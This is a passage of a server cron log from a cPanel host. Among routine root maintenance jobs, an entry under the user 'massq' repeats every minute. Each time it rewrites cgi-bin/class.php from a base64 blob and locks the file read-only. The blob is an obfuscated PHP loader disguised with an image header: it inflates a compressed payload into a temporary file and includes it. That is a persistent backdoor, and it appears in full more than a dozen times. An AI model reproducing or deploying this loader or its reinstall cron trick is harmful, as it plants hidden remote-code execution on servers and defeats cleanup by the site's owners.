base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:36:01 server CROND[19643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:36:01 server CROND[19644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:36:01 server CROND[19645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:37:01 server CROND[20029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:37:01 server CROND[20030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:37:01 server CROND[20031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:38:02 server CROND[20420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:38:02 server CROND[20421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:38:02 server CROND[20423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:39:01 server CROND[20802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:39:01 server CROND[20803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:39:01 server CROND[20804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:39:01 server CROND[20805]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 19:40:01 server CROND[21302]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 19:40:01 server CROND[21303]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:40:01 server CROND[21306]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:40:01 server CROND[21308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:40:01 server CROND[21310]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:40:01 server CROND[21307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:40:01 server CROND[21305]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 19:40:01 server CROND[21311]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 19:41:01 server CROND[22158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:41:01 server CROND[22159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:41:01 server CROND[22162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:42:01 server CROND[22566]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 19:42:01 server CROND[22568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:42:01 server CROND[22567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:42:01 server CROND[22569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:43:01 server CROND[23258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:43:01 server CROND[23259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:43:01 server CROND[23260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:44:01 server CROND[23635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:44:01 server CROND[23636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:44:01 server CROND[23637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:45:01 server CROND[24117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:45:01 server CROND[24115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:45:01 server CROND[24116]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:45:01 server CROND[24118]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 19:45:01 server CROND[24119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:45:01 server CROND[24120]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:45:01 server CROND[24123]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 19:46:01 server CROND[24962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:46:01 server CROND[24961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:46:01 server CROND[24963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:47:01 server CROND[25349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:47:01 server CROND[25350]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 19:47:01 server CROND[25351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
